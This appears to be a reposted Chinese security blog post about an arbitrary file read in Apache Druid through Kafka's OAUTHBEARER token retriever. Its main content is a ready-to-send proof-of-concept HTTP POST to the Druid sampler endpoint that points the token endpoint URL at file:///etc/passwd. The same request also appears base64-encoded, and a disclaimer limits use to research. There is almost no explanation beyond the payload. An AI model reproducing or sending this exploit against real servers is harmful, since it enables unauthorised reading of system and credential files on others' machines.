UE9TVKAvZHJ1aWQvaW5kZXhlci92MS9zYW1wbGVyP2Zvcj1jb25uZWN0oEhUVFAvMS4xCgpIb3N0OqAxMjcuMC4wLjE6ODg4OAoKQWNjZXB0LUVuY29kaW5nOqBnemlwLCBkZWZsYXRlCgpBY2NlcHQ6oCovKgoKQWNjZXB0LUxhbmd1YWdlOqBlbi1VUztxPTAuOSxlbjtxPTAuOAoKVXNlci1BZ2VudDqgTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMC4wLjU0ODEuMTc4IFNhZmFyaS81MzcuMzYKCkNvbm5lY3Rpb246oGNsb3NlCgpDYWNoZS1Db250cm9sOqBtYXgtYWdlPTAKCkNvbnRlbnQtVHlwZTqgYXBwbGljYXRpb24vanNvbgoKQ29udGVudC1MZW5ndGg6oDE2MTcKCgoKewoKoKAidHlwZSI6oCJrYWZrYSIsCgqgoCJzcGVjIjogewoKoCCgoCJ0eXBlIjqgImthZmthIiwKCqAgoKAiaW9Db25maWciOiB7CgqgIKAgoKAidHlwZSI6oCJrYWZrYSIsCgqgIKAgoKAiY29uc3VtZXJQcm9wZXJ0aWVzIjogewoKoCCgIKAgoKAiYm9vdHN0cmFwLnNlcnZlcnMiOqAiMTI3LjAuMC4xOjY2NjYiLAoKoCCgIKAgoKAic2FzbC5tZWNoYW5pc20iOqAiT0FVVEhCRUFSRVIiLAoKoCCgIKAgoKAic2VjdXJpdHkucHJvdG9jb2wiOqAiU0FTTF9TU0wiLAoKoCCgIKAgoKAic2FzbC5sb2dpbi5jYWxsYmFjay5oYW5kbGVyLmNsYXNzIjqgIm9yZy5hcGFjaGUua2Fma2EuY29tbW9uLnNlY3VyaXR5Lm9hdXRoYmVhcmVyLnNlY3VyZWQuT0F1dGhCZWFyZXJMb2dpbkNhbGxiYWNrSGFuZGxlciIsCgoic2FzbC5vYXV0aGJlYXJlci50b2tlbi5lbmRwb2ludC51cmwiOiJmaWxlOi8vL2V0Yy9wYXNzd2QiLAoKoCCgIKAgoKAic2FzbC5qYWFzLmNvbmZpZyI6oCJvcmcuYXBhY2hlLmthZmthLmNvbW1vbi5zZWN1cml0eS5vYXV0aGJlYXJlci5PQXV0aEJlYXJlckxvZ2luTW9kdWxlIHJlcXVpcmVkIHNhc2wub2F1dGhiZWFyZXIudG9rZW4uZW5kcG9pbnQudXJsPVwiaHR0cDovLzEyNy4wLjAuMTo5OTk5L3Rva2VuXCKgc2FzbC5vYXV0aGJlYXJlci5qd2tzLmVuZHBvaW50LnVybD1cImh0dHA6Ly8xMjcuMC4wLjE6OTk5OS9qd2tzXCKgc2FzbC5vYXV0aGJlYXJlci5jbGllbnQuaWQ9eW91ci1jbGllbnQtaWQgc2FzbC5vYXV0aGJlYXJlci5jbGllbnQuc2VjcmV0PXlvdXItY2xpZW50LXNlY3JldCBzYXNsLm9hdXRoYmVhcmVyLmV4cGVjdGVkLmF1ZGllbmNlPWthZmthIHNhc2wub2F1dGhiZWFyZXIuZXhwZWN0ZWQuaXNzdWVyPVwiaHR0cDovLzEyNy4wLjAuMTo5OTk5XCKgdXNlRmlyc3RQYXNzPXRydWUgc2VydmljZU5hbWU9a2Fma2EgZGVidWc9dHJ1ZTsiCgqgIKAgoCB9LAoKoCCgIKCgInRvcGljIjqgInRlc3QiLAoKoCCgIKCgInVzZUVhcmxpZXN0T2Zmc2V0IjqgdHJ1ZSwKCqAgoCCgoCJpbnB1dEZvcm1hdCI6IHsKCqAgoCCgIKCgInR5cGUiOqAicmVnZXgiLAoKoCCgIKAgoKAicGF0dGVybiI6oCIoW1xcc1xcU10qKSIsCgqgIKAgoCCgoCJsaXN0RGVsaW1pdGVyIjqgIjU2NjE2NDY5LTZkZTItOWRhNC1lZmI4LThmNDE2ZTZlNjk2NSIsCgqgIKAgoCCgoCJjb2x1bW5zIjogWyJyYXciXQoKoCCgIKAgfQoKoCCgIH0sCgqgIKCgImRhdGFTY2hlbWEiOiB7CgqgIKAgoKAiZGF0YVNvdXJjZSI6oCJzYW1wbGUiLAoKoCCgIKCgInRpbWVzdGFtcFNwZWMiOiB7CgqgIKAgoCCgoCJjb2x1bW4iOqAiISEhX25vX3N1Y2hfY29sdW1uXyEhISIsCgqgIKAgoCCgoCJtaXNzaW5nVmFsdWUiOqAiMTk3MC0wMS0wMVQwMDowMDowMFoiCgqgIKAgoCB9LAoKoCCgIKCgImRpbWVuc2lvbnNTcGVjIjoge30sCgqgIKAgoKAiZ3JhbnVsYXJpdHlTcGVjIjogewoKoCCgIKAgoKAicm9sbHVwIjqgZmFsc2UKCqAgoCCgIH0KCqAgoCB9LAoKoCCgoCJ0dW5pbmdDb25maWciOiB7CgqgIKAgoKAidHlwZSI6oCJrYWZrYSIKCqAgoCB9CgqgIH0sCgqgoCJzYW1wbGVyQ29uZmlnIjogewoKoCCgoCJudW1Sb3dzIjqgNTAwLAoKoCCgoCJ0aW1lb3V0TXMiOqAxNTAwMAoKoCB9Cgp9
return new FileTokenRetriever(cu.validateFile("sasl.oauthbearer.token.endpoint.url"));
POC
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1 Host: 127.0.0.1:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json Content-Length: 1617 { "type": "kafka", "spec": { "type": "kafka", "ioConfig": { "type": "kafka", "consumerProperties": { "bootstrap.servers": "127.0.0.1:6666", "sasl.mechanism": "OAUTHBEARER", "security.protocol": "SASL_SSL", "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler", "sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd", "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;" }, "topic": "test", "useEarliestOffset": true, "inputFormat": { "type": "regex", "pattern": "([\\s\\S]*)", "listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965", "columns": ["raw"] } }, "dataSchema": { "dataSource": "sample", "timestampSpec": { "column": "!!!_no_such_column_!!!", "missingValue": "1970-01-01T00:00:00Z" }, "dimensionsSpec": {}, "granularitySpec": { "rollup": false } }, "tuningConfig": { "type": "kafka" } }, "samplerConfig": { "numRows": 500, "timeoutMs": 15000 } }
原文始发于微信公众号(e0m安全屋):kafka 任意文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论